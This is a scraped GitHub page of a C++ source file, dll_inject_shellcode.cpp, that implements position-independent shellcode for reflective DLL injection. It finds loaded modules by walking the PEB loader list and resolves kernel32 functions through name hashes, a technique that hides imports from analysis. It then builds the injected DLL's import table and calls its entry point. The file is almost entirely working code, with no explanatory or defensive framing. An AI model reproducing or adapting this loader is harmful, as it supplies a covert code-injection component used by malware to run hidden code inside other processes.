-
Notifications
You must be signed in to change notification settings - Fork 72
/
dll_inject_shellcode.cpp
261 lines (214 loc) · 8.12 KB
/
dll_inject_shellcode.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
#include "stdafx.h"
typedef BOOL (WINAPI * DLL_MAIN)(
PVOID hinstDLL,
DWORD fdwReason,
PVOID lpvReserved
);
//--------------------------------------------------------------------------------------
DWORD WINAPI dll_inject_Entry(PDLL_INJECT_STRUCT Struct)
{
// check if payload present
PVOID ModuleBase = Struct->ModuleBase;
if (ModuleBase)
{
// load imports
if (dll_inject_ProcessImports(ModuleBase))
{
PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)
RVATOVA(ModuleBase, ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew);
if (pHeaders->OptionalHeader.AddressOfEntryPoint != 0)
{
DLL_MAIN DllMain = (DLL_MAIN)
RVATOVA(ModuleBase, pHeaders->OptionalHeader.AddressOfEntryPoint);
// call DLL entry point
DllMain(ModuleBase, DLL_PROCESS_ATTACH, NULL);
}
}
}
return 0;
}
//--------------------------------------------------------------------------------------
DWORD WINAPI dll_inject_CalcHash(char *lpszString)
{
DWORD Hash = 0;
char *lpszChar = lpszString;
while (*lpszChar)
{
Hash = ((Hash << 7) & (DWORD)-1) | (Hash >> (32 - 7));
Hash = Hash ^ *lpszChar;
lpszChar += 1;
}
return Hash;
}
//--------------------------------------------------------------------------------------
PVOID WINAPI dll_inject_GetModuleAddressByHash(DWORD ModuleHash)
{
PUCHAR Peb = NULL;
#ifdef _X86_
Peb = (PUCHAR)__readfsdword(0x30);
#else _AMD64_
PUCHAR Teb = (PUCHAR)__readgsqword(0x30);
if (Teb)
{
Peb = *(PUCHAR *)(Teb + 0x60);
}
#endif
if (Peb == NULL)
{
// process is not initialized properly
return NULL;
}
// obtain address of first entry in loader's table
PPEB_LDR_DATA LdrData = *(PPEB_LDR_DATA *)(Peb + DLL_INJECT_PEB_LDR_TABLE_OFFSET);
PLIST_ENTRY Head = &LdrData->ModuleListLoadOrder;
PLIST_ENTRY Entry = Head->Flink;
// parse loader table entries
while (Entry != Head)
{
char szBaseDllName[MAX_PATH];
PLDR_DATA_TABLE_ENTRY LdrData = CONTAINING_RECORD(Entry, LDR_DATA_TABLE_ENTRY, InLoadOrderModuleList);
WORD NameLength = LdrData->BaseDllName.Length / sizeof(WCHAR);
for (WORD i = 0; i < NameLength; i += 1)
{
// copy module name into ANSI string
char Chr = (char)LdrData->BaseDllName.Buffer[i];
if ((Chr >= 'A') && (Chr <= 'Z'))
{
// convert characetr to the low case
Chr = Chr + ('a' - 'A');
}
szBaseDllName[i] = Chr;
}
szBaseDllName[NameLength] = '\0';
// check the name hash
if (dll_inject_CalcHash(szBaseDllName) == ModuleHash)
{
return LdrData->DllBase;
}
Entry = Entry->Flink;
}
return NULL;
}
//--------------------------------------------------------------------------------------
PVOID WINAPI dll_inject_GetProcAddressByHash(PVOID Image, DWORD ProcHash)
{
if (Image == NULL)
{
// something goes wrong
return NULL;
}
PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)
RVATOVA(Image, ((PIMAGE_DOS_HEADER)Image)->e_lfanew);
DWORD Addr = 0;
DWORD ExportAddr = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
DWORD ExportSize = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
if (ExportAddr != 0)
{
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)RVATOVA(Image, ExportAddr);
if (pExport->AddressOfFunctions == 0 ||
pExport->AddressOfNameOrdinals == 0 ||
pExport->AddressOfNames == 0)
{
// no exports by name
return NULL;
}
// parse module exports
PDWORD AddrOfFunctions = (PDWORD)RVATOVA(Image, pExport->AddressOfFunctions);
PWORD AddrOfOrdinals = (PWORD)RVATOVA(Image, pExport->AddressOfNameOrdinals);
PDWORD AddrOfNames = (PDWORD)RVATOVA(Image, pExport->AddressOfNames);
for (DWORD i = 0; i < pExport->NumberOfNames; i += 1)
{
// calculate and compare hash of function
if (dll_inject_CalcHash((char *)RVATOVA(Image, AddrOfNames[i])) == ProcHash)
{
// get exported function RVA
Addr = AddrOfFunctions[AddrOfOrdinals[i]];
break;
}
}
}
if (Addr != 0)
{
// check for the forwarded export
if (Addr > ExportAddr &&
Addr < ExportAddr + ExportSize)
{
// forwarded exports are not supported
return NULL;
}
return RVATOVA(Image, Addr);
}
return NULL;
}
//--------------------------------------------------------------------------------------
BOOL WINAPI dll_inject_ProcessImports(PVOID Image)
{
dll_inject_LoadLibraryA f_LoadLibraryA = NULL;
dll_inject_GetProcAddress f_GetProcAddress = NULL;
// get kernel32.dll base address
PVOID KernelBase = dll_inject_GetModuleAddressByHash(DLL_INJECT_HASH_KERNEL32);
if (KernelBase)
{
f_LoadLibraryA = (dll_inject_LoadLibraryA)
dll_inject_GetProcAddressByHash(KernelBase, DLL_INJECT_HASH_LOAD_LIBRARY_A);
f_GetProcAddress = (dll_inject_GetProcAddress)
dll_inject_GetProcAddressByHash(KernelBase, DLL_INJECT_HASH_GET_PROC_ADDRESS);
}
if (f_LoadLibraryA == NULL ||
f_GetProcAddress == NULL)
{
// unable to import required functions
return FALSE;
}
PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)
RVATOVA(Image, ((PIMAGE_DOS_HEADER)Image)->e_lfanew);
DWORD ImportAddr = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
DWORD ImportSize = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
if (ImportAddr != 0)
{
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)RVATOVA(Image, ImportAddr);
while (pImport->Name != 0)
{
char *lpszLibName = (char *)RVATOVA(Image, pImport->Name);
// load import library
PVOID LibAddr = f_LoadLibraryA(lpszLibName);
if (LibAddr == NULL)
{
return FALSE;
}
// process thunks data
PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)RVATOVA(Image, pImport->FirstThunk);
while (pThunk->u1.Ordinal != 0)
{
if (pThunk->u1.Ordinal & 0xf0000000)
{
// lookup function address by ordinal
PVOID FuncAddr = f_GetProcAddress(LibAddr, (char *)(pThunk->u1.Ordinal & 0xffff));
if (FuncAddr == NULL)
{
return FALSE;
}
*(PVOID *)pThunk = FuncAddr;
}
else
{
PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)RVATOVA(Image, pThunk->u1.AddressOfData);
char *lpszFuncName = (char *)&pName->Name;
// lookup function address by name
PVOID FuncAddr = f_GetProcAddress(LibAddr, lpszFuncName);
if (FuncAddr == NULL)
{
return FALSE;
}
*(PVOID *)pThunk = FuncAddr;
}
pThunk += 1;
}
pImport += 1;
}
}
return TRUE;
}
void WINAPI dll_inject_End(void) { }
//--------------------------------------------------------------------------------------
// EoF